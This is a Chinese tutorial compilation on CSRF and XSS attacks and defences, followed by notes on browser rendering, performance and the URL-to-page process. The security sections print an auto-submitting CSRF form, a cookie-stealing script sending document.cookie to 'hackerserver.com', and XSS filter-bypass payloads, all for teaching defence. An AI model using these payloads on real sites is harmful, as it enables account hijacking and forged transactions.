Web安全之CSRF、XSS攻防原理及解决方案

、CSRF

CSRF 全称叫做，跨站请求伪造(Cross—Site Request Forgery)，顾名思义，攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等。对于服务器而言，判断请求对象是否是你本身的方法限于提供身份认证的cookie、秘钥等，无法去识别个体。

1.原理介绍及流程分析

以下，举例模拟一个被CSRF攻击影响的例子：

①用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A；

②在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A；

③用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B；

④网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A；

⑤浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。

更为具体的举例，伪造请求的方式一般有如下几种方式：

// 页面中有一个超链接，诱导用户进行点击

<a href="https://aaa.com?userid=3&money=9999">诱导信息</a>

// 直接在页面上使用Img进行get请求

<img src="https://aaa.com?userid=3&money=9999"/>

// 或使用表单进行提交

<iframe name="heihei" style="display:none;"></iframe>

<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >

<input name="userid" value="3" type="hidden" />

<input name="money" value="9999" type="hidden" />

</form>

<script>
window.onload = function(){
  document.forms[0].submit();
}
</script>

2.CSRF漏洞检测

检测CSRF漏洞是一项比较繁琐的工作，最简单的方法就是抓取一个正常请求的数据包，去掉Referer字段后再重新提交，如果该提交还有效，那么基本上可以确定存在CSRF漏洞。

当然我们也可以试着利用根据来进行漏洞检测，随着对CSRF漏洞研究的不断深入，不断涌现出一些专门针对CSRF漏洞进行检测的工具，如CSRFTester，CSRF Request Builder等。

以CSRFTester工具为例，CSRF漏洞检测工具的测试原理如下：使用CSRFTester进行测试时，首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息，然后通过在CSRFTester中修改相应的表单等信息，重新提交，这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受，则说明存在CSRF漏洞，当然此款工具也可以被用来进行CSRF攻击。

3.CSRF防御原理

根据以上的方式我们能显而易见看到，问题就出在“访问网站B”和“携带Cookie信息”上。针对CRSF攻击，CSRF防护的一个重点是要对“用户凭证”进行校验处理，通过这种机制可以对用户的请求是合法进行判断，判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的，所以防护机制的处理对像也是Cookie的数据，我们要在防护的数据中加入签名校验，并对数据进行生命周期时间管理，就是数据过期管理。

由此得出，CSRF防护的一个重点是要对“用户凭证”进行校验处理，通过这种机制可以对用户的请求是合法进行判断，判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的，所以防护机制的处理对像也是Cookie的数据，我们要在防护的数据中加入签名校验，并对数据进行生命周期时间管理，就是数据过期管理。

①防御思路

针对防止CSRF的发生，创建Token处理机制，Token数据结构与时间、加密签名直接相关，这么设计的的目的如上所说，是给“身份凭证”加上时间生存周期管理和签名校验管理，如果的凭证被人拿到了，要先判断Token中的“签名”与时间戳是否都有效，再进行正常的业务处理，这样通过对非法数据的校验过滤，来降低CSRF攻击的成功率。

②签名与时间戳防护处理流程

在token中加入上述方法中所描述的时间戳信息和签名信息：

-----------------------------------------------------------------------------
|             msg                 |     separator   | signature           |
-----------------------------------------------------------------------------
|     key     |   timestamp       |         .       | Base64(sha256(msg)) |
-----------------------------------------------------------------------------

msg部分： key即随机生成的字符串用作用户凭证认证+timestamp时间戳验证时间用
separator部分：用于分隔msg部分与加密后生成的signature签名部分
signature部分:signature即签名，是对“msg消息”用特定算法进行加密后的串。

token = base64(msg)格式化..base64(sha256("密锁", msg))

整个Token就是由被Base64的msg编码串+先256加密msg再进行Base64编码，两个串的内容结合。

③Token校验

在整个防御做法中，对于token的校验流程为：

在服务器端对接收到的token进行分片，以分隔符进行分割，获取信息内容和签名
对于签名验证，对信息进行解码，如果通过则进入时间校验
如果签名有效的,取出msg中的timestamp字段数据，与当前系统时间进行比较，如果过期时间小于当前时间，那这个token是过期的，需要重新的取得token。

二、XSS

XSS（跨站脚本攻击，Cross-site scripting，简称并不是 CSS，因为 CSS是层叠样式表）是一种常见的 web 安全问题。XSS 攻击手段是允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。

1.XSS攻击类型区分

① 反射型

反射型 XSS攻击通常是简单地把用户输入的数据“反射”给浏览器。黑客一般会诱使用户点击一个有恶意的链接，用户点击就会发起 XSS 攻击。反射型 XSS 攻击可以将 JavaScript 脚本插入到 HTML 节点中、HTML 属性中以及通过 JS 注入到 URL 或 HTML 文档中。

② 储存型

存储型 XSS攻击这种攻击会把用户输入的数据存储到服务器中。例如在一个有 XSS 漏洞的博客网站，黑客写下一篇含有恶意 JavaScript 代码的文章，文章发布后，所有看了这篇博文的用户都会在他们的浏览器中执行恶意 JavaScript 代码。

③ DOM-based 型

注意：这种类型的划分与以上两种类型划分方式不同，是按照Payload的位置划分

DOM-based 型XSS攻击基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构，是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞。

发起 XSS 攻击后，黑客写入的 JavaScript 代码就会执行，通过脚本可以控制用户的浏览器。一个常见的攻击手段是“Cookie 劫持”，cookie 中一般加密保存着当前用户的登录凭据，黑客可以通过恶意代码将用户的 cookie 发到自己的服务器上，然后就可以做到无密码登录上用户的账户。

2.实现XSS攻击的条件

①需要向web页面注入恶意代码；

②这些恶意代码能够被浏览器成功的执行。

3.会利用XSS攻击获取什么？

①窃取cookies，读取目标网站的cookie发送到黑客的服务器上，如下面的代码：

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

在此提到来自浏览器的自带防御，浏览器针对于这类问题的存在，对于DOM对象的访问会有自己的禁用方式，避免最基本的XSS注入。例如在旧版的IE8和IE8以下的版本都是可以被执行的，火狐也能执行代码，但火狐对其禁止访问DOM对象，所以在火狐下执行将会看到控制里抛出异常：document is not defined

②读取用户未公开的资料，如果：邮件列表或者内容、系统的客户资料，联系人列表等等，如代码

③篡改网页，进行钓鱼或者恶意传播

④网站重定向

4.XSS的防御

①具体举例：注入转义

对于URL做解析时和发起get请求时都会需要读取URL携带的参数，如果将 url 中的参数直接插入到 DOM 中，这就有可能构成 XSS 攻击，攻击者利用这一漏洞，给其他用户发送一个有恶意的链接，用户就有可能中招。如：

http://www.example/test.index?param=<script>alert('XSS')</script>

这个 URL 的 param 参数值并不是合理的，而是攻击者构建的。

再如：一个超链接中的URL

<a href='http://www.xss.com?cookie='+document.cookie>

上述方式可以通过点击链接的方式注入XSS，去获取当前用户的Cookie。

②防御方式

当恶意代码值被作为某一标签的内容显示：在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤，将其转化为不被浏览器解释执行的字符。
当恶意代码被作为某一标签的属性显示，通过用 “将属性截断来开辟新的属性或恶意方法：属性本身存在的单引号和双引号都需要进行转码；对用户输入的html 标签及标签属性做白名单过滤，也可以对一些存在漏洞的标签和属性进行专门过滤。

③常见的xss攻击方法

绕过XSS-Filter，利用<>标签注入Html/JavaScript代码；
利用HTML标签的属性值进行xss攻击。例如：

<img src=“javascript：alert(‘xss’)”/>

（当然并不是所有的Web浏览器都支持Javascript伪协议，所以此类XSS攻击具有一定的局限性）

空格、回车和Tab。如果XSS Filter仅仅将敏感的输入字符列入黑名单，比如javascript，用户可以利用空格、回车和Tab键来绕过过滤，例如：

<img src=“javas  cript:alert(/xss/);”/>

利用事件来执行跨站脚本。例如：

<img src=“#” onerror= “alert(1)”/>

当src错误的视乎就会执行onerror事件

利用CSS跨站。例如：

Body {backgrund-image: url(“javascript：alert(‘xss’)”)}

扰乱过滤规则。例如：

<IMG SRC=“javaSCript: alert(/xss/);”/>

利用字符编码，透过这种技巧，不仅能让XSS代码绕过服务端的过滤，还能更好地隐藏Shellcode；（JS支持unicode、eacapes、十六进制、十进制等编码形式）
拆分跨站法，将xss攻击的代码拆分开来，适用于应用程序没有过滤 XSS关键字符（如<、>）却对输入字符长度有限制的情况下；
DOM型的XSS主要是由客户端的脚本通过DOM动态地输出数据到页面上，它不依赖于提交数据到服务器，而是从客户端获得DOM中的数据在本地执行。容易导致DOM型的XSS的输入源包括：Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage；

5.XSS攻击防御

原则：不相信客户输入的数据

注意：攻击代码不一定在<script></script>中

使用XSS Filter

输入过滤，对用户提交的数据进行有效性验证，仅接受指定长度范围内并符合我们期望格式的的内容提交，阻止或者忽略除此外的其他任何数据。比如：电话号码必须是数字和中划线组成，而且要设定长度上限。过滤一些些常见的敏感字符，例如：< > ‘ “ & # \ javascript expression "onclick=" "onfocus"；过滤或移除特殊的Html标签，例如: <script>, <iframe> , < for <, > for >, " for；过滤JavaScript 事件的标签，例如 "onclick=", "onfocus" 等等。

　　输出编码，当需要将一个字符串输出到Web网页时，同时又不确定这个字符串中是否包括XSS特殊字符（如< > &‘”等），为了确保输出内容的完整性和正确性，可以使用编码（HTMLEncode）进行处理。

DOM型的XSS攻击防御

把变量输出到页面时要做好相关的编码转义工作，如要输出到 <script>中，可以进行JS编码；要输出到HTML内容或属性，则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。

HttpOnly Cookie

将重要的cookie标记为http only, 这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段，但是在脚本中却不能访问这个cookie，这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie：

原文：https://juejin.cn/post/6874730741989801997

eb 前端工程师写的页面要跑在浏览器里面，所以面试中也会出现很多跟浏览器相关的面试题目。

#知识点梳理

浏览器加载页面和渲染过程
性能优化
Web 安全

本小节会从浏览器的加载过程开始讲解，然后介绍如何进行性能优化，最后介绍下 Web 开发中常见的安全问题和预防。

#加载页面和渲染过程

可将加载过程和渲染过程分开说。回答问题的时候，关键要抓住核心的要点，把要点说全面，稍加解析即可，简明扼要不拖沓。

题目：浏览器从加载页面到渲染页面的过程

1. 加载过程

要点如下：

浏览器根据 DNS 服务器得到域名的 IP 地址
向这个 IP 的机器发送 HTTP 请求
服务器收到、处理并返回 HTTP 请求
浏览器得到返回内容

例如在浏览器输入https://test.com/timeline，然后经过 DNS 解析，juejin.im对应的 IP 是36.248.217.149（不同时间、地点对应的 IP 可能会不同）。然后浏览器向该 IP 发送 HTTP 请求。

server 端接收到 HTTP 请求，然后经过计算（向不同的用户推送不同的内容），返回 HTTP 请求，返回的内容如下：

其实就是一堆 HMTL 格式的字符串，因为只有 HTML 格式浏览器才能正确解析，这是 W3C 标准的要求。接下来就是浏览器的渲染过程。

2. 渲染过程

要点如下：

根据 HTML 结构生成 DOM 树
根据 CSS 生成 CSSOM
将 DOM 和 CSSOM 整合形成 RenderTree
根据 RenderTree 开始渲染和展示
遇到<script>时，会执行并阻塞渲染

上文中，浏览器已经拿到了 server 端返回的 HTML 内容，开始解析并渲染。最初拿到的内容就是一堆字符串，必须先结构化成计算机擅长处理的基本数据结构，因此要把 HTML 字符串转化成 DOM 树 —— 树是最基本的数据结构之一。
解析过程中，如果遇到<link href="...">和<script src="...">这种外链加载 CSS 和 JS 的标签，浏览器会异步下载，下载过程和上文中下载 HTML 的流程一样。只不过，这里下载下来的字符串是 CSS 或者 JS 格式的。
浏览器将 CSS 生成 CSSOM，再将 DOM 和 CSSOM 整合成 RenderTree ，然后针对 RenderTree 即可进行渲染了。大家可以想一下，有 DOM 结构、有样式，此时就能满足渲染的条件了。另外，这里也可以解释一个问题 —— 为何要将 CSS 放在 HTML 头部？—— 这样会让浏览器尽早拿到 CSS 尽早生成 CSSOM，然后在解析 HTML 之后可一次性生成最终的 RenderTree，渲染一次即可。如果 CSS 放在 HTML 底部，会出现渲染卡顿的情况，影响性能和体验。
最后，渲染过程中，如果遇到<script>就停止渲染，执行 JS 代码。因为浏览器渲染和 JS 执行共用一个线程，而且这里必须是单线程操作，多线程会产生渲染 DOM 冲突。待<script>内容执行完之后，浏览器继续渲染。最后再思考一个问题 —— 为何要将 JS 放在 HTML 底部？—— JS 放在底部可以保证让浏览器优先渲染完现有的 HTML 内容，让用户先看到内容，体验好。另外，JS 执行如果涉及 DOM 操作，得等待 DOM 解析完成才行，JS 放在底部执行时，HTML 肯定都解析成了 DOM 结构。JS 如果放在 HTML 顶部，JS 执行的时候 HTML 还没来得及转换为 DOM 结构，可能会报错。

关于浏览器整个流程，百度的多益大神有更加详细的文章，推荐阅读下：《从输入 URL 到页面加载完成的过程中都发生了什么事情？》。

#性能优化

性能优化的题目也是面试常考的，这类题目有很大的扩展性，能够扩展出来很多小细节，而且对个人的技术视野和业务能力有很大的挑战。这部分笔者会重点讲下常用的性能优化方案。

题目：总结前端性能优化的解决方案

1. 优化原则和方向

性能优化的原则是以更好的用户体验为标准，具体就是实现下面的目标：

多使用内存、缓存或者其他方法
减少 CPU 和GPU 计算，更快展现

优化的方向有两个：

减少页面体积，提升网络加载
优化页面渲染

2. 减少页面体积，提升网络加载

静态资源的压缩合并（JS 代码压缩合并、CSS 代码压缩合并、雪碧图）
静态资源缓存（资源名称加 MD5 戳）
使用 CDN 让资源加载更快

3. 优化页面渲染

CSS 放前面，JS 放后面
懒加载（图片懒加载、下拉加载更多）
减少DOM 查询，对 DOM 查询做缓存
减少DOM 操作，多个操作尽量合并在一起执行（DocumentFragment）
事件节流
尽早执行操作（DOMContentLoaded）
使用 SSR 后端渲染，数据直接输出到 HTML 中，减少浏览器使用 JS 模板渲染页面 HTML 的时间

#详细解释

1. 静态资源的压缩合并

如果不合并，每个都会走一遍之前介绍的请求过程

<script src="a.js"></script>
<script src="b.js"></script>
<script src="c.js"></script>

如果合并了，就只走一遍请求过程

<script src="abc.js"></script>

2. 静态资源缓存

通过链接名称控制缓存

<script src="abc_1.js"></script>

只有内容改变的时候，链接名称才会改变

<script src="abc_2.js"></script>

这个名称不用手动改，可通过前端构建工具根据文件内容，为文件名称添加 MD5 后缀。

3. 使用 CDN 让资源加载更快

CDN 会提供专业的加载优化方案，静态资源要尽量放在 CDN 上。例如：

<script src="https://cdn.bootcss.com/zepto/1.0rc1/zepto.min.js"></script>

4. 使用 SSR 后端渲染

可一次性输出 HTML 内容，不用在页面渲染完成之后，再通过 Ajax 加载数据、再渲染。例如使用 smarty、Vue SSR 等。

5. CSS 放前面，JS 放后面

上文讲述浏览器渲染过程时已经提过，不再赘述。

6. 懒加载

一开始先给为 src 赋值成一个通用的预览图，下拉时候再动态赋值成正式的图片。如下，preview.png是预览图片，比较小，加载很快，而且很多图片都共用这个preview.png，加载一次即可。待页面下拉，图片显示出来时，再去替换src为data-realsrc的值。

<img src="preview.png" data-realsrc="abc.png"/>

另外，这里为何要用data-开头的属性值？—— 所有 HTML 中自定义的属性，都应该用data-开头，因为data-开头的属性浏览器渲染的时候会忽略掉，提高渲染性能。

7. DOM 查询做缓存

两段代码做一下对比：

var pList = document.getElementsByTagName('p')  // 只查询一个 DOM ，缓存在 pList 中了
var i
for (i = 0; i < pList.length; i++) {
}

var i
for (i = 0; i < document.getElementsByTagName('p').length; i++) {  // 每次循环，都会查询 DOM ，耗费性能
}

总结：DOM 操作，无论查询还是修改，都是非常耗费性能的，应尽量减少。

8. 合并 DOM 插入

DOM 操作是非常耗费性能的，因此插入多个标签时，先插入 Fragment 然后再统一插入 DOM。

var listNode = document.getElementById('list')
// 要插入 10 个 li 标签
var frag = document.createDocumentFragment();
var x, li;
for(x = 0; x < 10; x++) {
    li = document.createElement("li");
    li.innerHTML = "List item " + x;
    frag.appendChild(li);  // 先放在 frag 中，最后一次性插入到 DOM 结构中。
}
listNode.appendChild(frag);

10. 事件节流

例如要在文字改变时触发一个 change 事件，通过 keyup 来监听。使用节流。

var textarea = document.getElementById('text')
var timeoutId
textarea.addEventListener('keyup', function () {
    if (timeoutId) {
        clearTimeout(timeoutId)
    }
    timeoutId = setTimeout(function () {
        // 触发 change 事件
    }, 100)
})

11. 尽早执行操作

window.addEventListener('load', function () {
    // 页面的全部资源加载完才会执行，包括图片、视频等
})
document.addEventListener('DOMContentLoaded', function () {
    // DOM 渲染完即可执行，此时图片、视频还可能没有加载完
})

12. 性能优化怎么做

上面提到的都是性能优化的单个点，性能优化项目具体实施起来，应该按照下面步骤推进：

建立性能数据收集平台，摸底当前性能数据，通过性能打点，将上述整个页面打开过程消耗时间记录下来
分析耗时较长时间段原因，寻找优化点，确定优化目标
开始优化
通过数据收集平台记录优化效果
不断调整优化点和预期目标，循环2~4步骤

性能优化是个长期的事情，不是一蹴而就的，应该本着先摸底、再分析、后优化的原则逐步来做。

#Web 安全

题目：前端常见的安全问题有哪些？

Web 前端的安全问题，能回答出下文的两个问题，这个题目就能基本过关了。开始之前，先说一个最简单的攻击方式 —— SQL 注入。
上学的时候就知道有一个「SQL注入」的攻击方式。例如做一个系统的登录界面，输入用户名和密码，提交之后，后端直接拿到数据就拼接 SQL 语句去查询数据库。如果在输入时进行了恶意的 SQL 拼装，那么最后生成的 SQL 就会有问题。但是现在稍微大型一点的系统，都不会这么做，从提交登录信息到最后拿到授权，要经过层层的验证。因此，SQL 注入都只出现在比较低端小型的系统上。

1. XSS（Cross Site Scripting，跨站脚本攻击）

这是前端最常见的攻击方式，很多大型网站（如 Facebook）都被 XSS 攻击过。
举一个例子，我在一个博客网站正常发表一篇文章，输入汉字、英文和图片，完全没有问题。但是如果我写的是恶意的 JS 脚本，例如获取到document.cookie然后传输到自己的服务器上，那我这篇博客的每一次浏览都会执行这个脚本，都会把访客 cookie 中的信息偷偷传递到我的服务器上来。

其实原理上就是黑客通过某种方式（发布文章、发布评论等）将一段特定的 JS 代码隐蔽地输入进去。然后别人再看这篇文章或者评论时，之前注入的这段 JS 代码就执行了。JS 代码一旦执行，那可就不受控制了，因为它跟网页原有的 JS 有同样的权限，例如可以获取 server 端数据、可以获取 cookie 等。于是，攻击就这样发生了。

XSS的危害

XSS 的危害相当大，如果页面可以随意执行别人不安全的 JS 代码，轻则会让页面错乱、功能缺失，重则会造成用户的信息泄露。

比如早些年社交网站经常爆出 XSS 蠕虫，通过发布的文章内插入 JS，用户访问了感染不安全 JS 注入的文章，会自动重新发布新的文章，这样的文章会通过推荐系统进入到每个用户的文章列表面前，很快就会造成大规模的感染。

还有利用获取 cookie 的方式，将 cookie 传入入侵者的服务器上，入侵者就可以模拟 cookie 登录网站，对用户的信息进行篡改。

XSS的预防

那么如何预防 XSS 攻击呢？—— 最根本的方式，就是对用户输入的内容进行验证和替换，需要替换的字符有：

& 替换为：&
< 替换为：<
> 替换为：>
” 替换为："
‘ 替换为：'
/ 替换为：/

替换了这些字符之后，黑客输入的攻击代码就会失效，XSS 攻击将不会轻易发生。

除此之外，还可以通过对 cookie 进行较强的控制，比如对敏感的 cookie 增加http-only限制，让 JS 获取不到 cookie 的内容。

2. CSRF（Cross-site request forgery，跨站请求伪造）

CSRF 是借用了当前操作者的权限来偷偷地完成某个操作，而不是拿到用户的信息。

例如，一个支付类网站，给他人转账的接口是http://buy.com/pay?touid=999&money=100，而这个接口在使用时没有任何密码或者 token 的验证，只要打开访问就直接给他人转账。一个用户已经登录了http://buy.com，在选择商品时，突然收到一封邮件，而这封邮件正文有这么一行代码<img src="http://buy.com/pay?touid=999&money=100"/>，他访问了邮件之后，其实就已经完成了购买。
CSRF 的发生其实是借助了一个 cookie 的特性。我们知道，登录了http://buy.com之后，cookie 就会有登录过的标记了，此时请求http://buy.com/pay?touid=999&money=100是会带着 cookie 的，因此 server 端就知道已经登录了。而如果在http://buy.com去请求其他域名的 API 例如http://abc.com/api时，是不会带 cookie 的，这是浏览器的同源策略的限制。但是 —— 此时在其他域名的页面中，请求http://buy.com/pay?touid=999&money=100，会带着buy.com的 cookie ，这是发生 CSRF 攻击的理论基础。

预防 CSRF 就是加入各个层级的权限验证，例如现在的购物网站，只要涉及现金交易，肯定要输入密码或者指纹才行。除此之外，敏感的接口使用POST请求而不是GET也是很重要的。

言

这个问题已经是老生常谈了，更是经常被作为面试的压轴题出现，网上也有很多文章，但最近闲的无聊，然后就自己做了一篇笔记，感觉比之前理解更透彻了。

这篇笔记是我这两天看了数十篇文章总结出来的，所以相对全面一点，但由于我是做前端的，所以会比较重点分析浏览器渲染页面那一部分，至于其他部分我会罗列出关键词，感兴趣的可以自行查阅.

注意：本文的步骤是建立在，请求的是一个简单的 HTTP 请求，没有 HTTPS、HTTP2、最简单的 DNS、没有代理、并且服务器没有任何问题的基础上，尽管这是不切实际的。

大致流程

URL 解析
DNS 查询
TCP 连接
处理请求
接受响应
渲染页面

一、URL 解析

地址解析：

首先判断你输入的是一个合法的 URL 还是一个待搜索的关键词，并且根据你输入的内容进行自动完成、字符编码等操作。

HSTS

由于安全隐患，会使用 HSTS 强制客户端使用 HTTPS 访问页面。详见：你所不知道的 HSTS^[1]。

其他操作

浏览器还会进行一些额外的操作，比如安全检查、访问限制（之前国产浏览器限制 996.icu）。

检查缓存

二、DNS 查询

基本步骤

1. 浏览器缓存

浏览器会先检查是否在缓存中，没有则调用系统库函数进行查询。

2. 操作系统缓存

操作系统也有自己的 DNS缓存，但在这之前，会向检查域名是否存在本地的 Hosts 文件里，没有则向 DNS 服务器发送查询请求。

3. 路由器缓存

路由器也有自己的缓存。

4. ISP DNS 缓存

ISP DNS 就是在客户端电脑上设置的首选 DNS 服务器，它们在大多数情况下都会有缓存。

根域名服务器查询

在前面所有步骤没有缓存的情况下，本地 DNS 服务器会将请求转发到互联网上的根域，下面这个图很好的诠释了整个流程：

根域名服务器（维基百科）

需要注意的点

递归方式：一路查下去中间不返回，得到最终结果才返回信息（浏览器到本地DNS服务器的过程）
迭代方式，就是本地DNS服务器到根域名服务器查询的方式。
什么是 DNS 劫持
前端 dns-prefetch 优化

三、TCP 连接

TCP/IP 分为四层，在发送数据时，每层都要对数据进行封装：

1. 应用层：发送 HTTP 请求

在前面的步骤我们已经得到服务器的 IP 地址，浏览器会开始构造一个 HTTP 报文，其中包括：

请求报头（Request Header）：请求方法、目标地址、遵循的协议等等
请求主体（其他参数）

其中需要注意的点：

浏览器只能发送 GET、POST 方法，而打开网页使用的是 GET 方法

2. 传输层：TCP 传输报文

传输层会发起一条到达服务器的 TCP 连接，为了方便传输，会对数据进行分割（以报文段为单位），并标记编号，方便服务器接受时能够准确地还原报文信息。

在建立连接前，会先进行 TCP 三次握手。

“关于 TCP/IP 三次握手，网上已经有很多段子和图片生动地描述了。相关知识点：

SYN 泛洪攻击

”

3. 网络层：IP协议查询Mac地址

将数据段打包，并加入源及目标的IP地址，并且负责寻找传输路线。

判断目标地址是否与当前地址处于同一网络中，是的话直接根据 Mac 地址发送，否则使用路由表查找下一跳地址，以及使用 ARP 协议查询它的 Mac 地址。

“注意：在 OSI 参考模型中 ARP 协议位于链路层，但在 TCP/IP 中，它位于网络层。”

4. 链路层：以太网协议

以太网协议

根据以太网协议将数据分为以“帧”为单位的数据包，每一帧分为两个部分：

标头：数据包的发送者、接受者、数据类型
数据：数据包具体内容

Mac 地址

以太网规定了连入网络的所有设备都必须具备“网卡”接口，数据包都是从一块网卡传递到另一块网卡，网卡的地址就是 Mac 地址。每一个 Mac 地址都是独一无二的，具备了一对一的能力。

广播

发送数据的方法很原始，直接把数据通过 ARP 协议，向本网络的所有机器发送，接收方根据标头信息与自身 Mac 地址比较，一致就接受，否则丢弃。

注意：接收方回应是单播。

“相关知识点：

ARP 攻击

”

服务器接受请求

接受过程就是把以上步骤逆转过来，参见上图。

四、服务器处理请求

大致流程

HTTPD

最常见的 HTTPD 有 Linux 上常用的 Apache 和 Nginx，以及 Windows 上的 IIS。

它会监听得到的请求，然后开启一个子进程去处理这个请求。

处理请求

接受 TCP 报文后，会对连接进行处理，对HTTP协议进行解析（请求方法、域名、路径等），并且进行一些验证：

验证是否配置虚拟主机
验证虚拟主机是否接受此方法
验证该用户可以使用该方法（根据 IP 地址、身份信息等）

重定向

假如服务器配置了 HTTP 重定向，就会返回一个 301永久重定向响应，浏览器就会根据响应，重新发送 HTTP 请求（重新执行上面的过程）。

“关于更多：详见这篇文章^[2]”

URL 重写

然后会查看 URL 重写规则，如果请求的文件是真实存在的，比如图片、html、css、js文件等，则会直接把这个文件返回。

否则服务器会按照规则把请求重写到一个 REST 风格的 URL 上。

然后根据动态语言的脚本，来决定调用什么类型的动态文件解释器来处理这个请求。

以 PHP 语言的 MVC 框架举例，它首先会初始化一些环境的参数，根据 URL 由上到下地去匹配路由，然后让路由所定义的方法去处理请求。

五、浏览器接受响应

浏览器接收到来自服务器的响应资源后，会对资源进行分析。

首先查看 Response header，根据不同状态码做不同的事（比如上面提到的重定向）。

如果响应资源进行了压缩（比如 gzip），还需要进行解压。

然后，对响应资源做缓存。

接下来，根据响应资源里的 MIME^[3] 类型去解析响应内容（比如 HTML、Image各有不同的解析方式）。

六、渲染页面

浏览器内核

不同的浏览器内核，渲染过程也不完全相同，但大致流程都差不多。

基本流程

6.1. HTML 解析

首先要知道浏览器解析是从上往下一行一行地解析的。

解析的过程可以分为四个步骤：

① 解码（encoding）

传输回来的其实都是一些二进制字节数据，浏览器需要根据文件指定编码（例如UTF-8）转换成字符串，也就是HTML 代码。

② 预解析（pre-parsing）

预解析做的事情是提前加载资源，减少处理时间，它会识别一些会请求资源的属性，比如img标签的src属性，并将这个请求加到请求队列中。

③ 符号化（Tokenization）

符号化是词法分析的过程，将输入解析成符号，HTML 符号包括，开始标签、结束标签、属性名和属性值。

它通过一个状态机去识别符号的状态，比如遇到<，>状态都会产生变化。

④ 构建树（tree construction）

“注意：符号化和构建树是并行操作的，也就是说只要解析到一个开始标签，就会创建一个 DOM 节点。”

在上一步符号化中，解析器获得这些标记，然后以合适的方法创建DOM对象并把这些符号插入到DOM对象中。

<html><head> <title>Web page parsing</title></head><body> <div> <h1>Web page parsing</h1> <p>This is an example Web page.</p> </div></body></html>

浏览器容错进制

你从来没有在浏览器看过类似”语法无效”的错误，这是因为浏览器去纠正错误的语法，然后继续工作。

事件

当整个解析的过程完成以后，浏览器会通过DOMContentLoaded事件来通知DOM解析完成。

6.2. CSS 解析

一旦浏览器下载了 CSS，CSS 解析器就会处理它遇到的任何 CSS，根据语法规范^[4]解析出所有的 CSS 并进行标记化，然后我们得到一个规则表。

CSS 匹配规则

在匹配一个节点对应的 CSS 规则时，是按照从右到左的顺序的，例如：div p { font-size :14px }会先寻找所有的p标签然后判断它的父元素是否为div。

所以我们写 CSS 时，尽量用 id 和 class，千万不要过度层叠。

6.3. 渲染树

其实这就是一个 DOM 树和 CSS 规则树合并的过程。

“注意：渲染树会忽略那些不需要渲染的节点，比如设置了display:none的节点。”

计算

通过计算让任何尺寸值都减少到三个可能之一：auto、百分比、px，比如把rem转化为px。

级联

浏览器需要一种方法来确定哪些样式才真正需要应用到对应元素，所以它使用一个叫做specificity的公式，这个公式会通过：

标签名、class、id
是否内联样式
!important

然后得出一个权重值，取最高的那个。

渲染阻塞

当遇到一个script标签时，DOM 构建会被暂停，直至脚本完成执行，然后继续构建 DOM 树。

但如果 JS 依赖 CSS 样式，而它还没有被下载和构建时，浏览器就会延迟脚本执行，直至 CSS Rules 被构建。

所有我们知道：

CSS 会阻塞 JS 执行
JS 会阻塞后面的 DOM 解析

为了避免这种情况，应该以下原则：

CSS 资源排在 JavaScript 资源前面
JS 放在 HTML 最底部，也就是 </body>前

另外，如果要改变阻塞模式，可以使用 defer 与 async，详见：这篇文章^[5]

6.4. 布局与绘制

确定渲染树种所有节点的几何属性，比如：位置、大小等等，最后输入一个盒子模型，它能精准地捕获到每个元素在屏幕内的准确位置与大小。

然后遍历渲染树，调用渲染器的 paint() 方法在屏幕上显示其内容。

6.5. 合并渲染层

把以上绘制的所有图片合并，最终输出一张图片。

6.6. 回流与重绘

回流(reflow)

当浏览器发现某个部分发现变化影响了布局时，需要倒回去重新渲染，会从html标签开始递归往下，重新计算位置和大小。

reflow基本是无法避免的，因为当你滑动一下鼠标、resize 窗口，页面就会产生变化。

重绘(repaint)

改变了某个元素的背景色、文字颜色等等不会影响周围元素的位置变化时，就会发生重绘。

每次重绘后，浏览器还需要合并渲染层并输出到屏幕上。

回流的成本要比重绘高很多，所以我们应该尽量避免产生回流。

比如：

display:none 会触发回流，而 visibility:hidden 只会触发重绘。

6.7. JavaScript 编译执行

大致流程

可以分为三个阶段：

1. 词法分析

JS 脚本加载完毕后，会首先进入语法分析阶段，它首先会分析代码块的语法是否正确，不正确则抛出“语法错误”，停止执行。

几个步骤：

分词，例如将var a = 2，，分成var、a、=、2这样的词法单元。
解析，将词法单元转换成抽象语法树（AST）。
代码生成，将抽象语法树转换成机器指令。

2. 预编译

JS 有三种运行环境：

全局环境
函数环境
eval

每进入一个不同的运行环境都会创建一个对应的执行上下文，根据不同的上下文环境，形成一个函数调用栈，栈底永远是全局执行上下文，栈顶则永远是当前执行上下文。

创建执行上下文

创建执行上下文的过程中，主要做了以下三件事：

创建变量对象
参数、函数、变量
建立作用域链
确认当前执行环境是否能访问变量
确定 This 指向

3. 执行

JS 线程

虽然 JS 是单线程的，但实际上参与工作的线程一共有四个：

“其中三个只是协助，只有 JS 引擎线程是真正执行的
”

JS 引擎线程：也叫 JS 内核，负责解析执行 JS 脚本程序的主线程，例如 V8 引擎
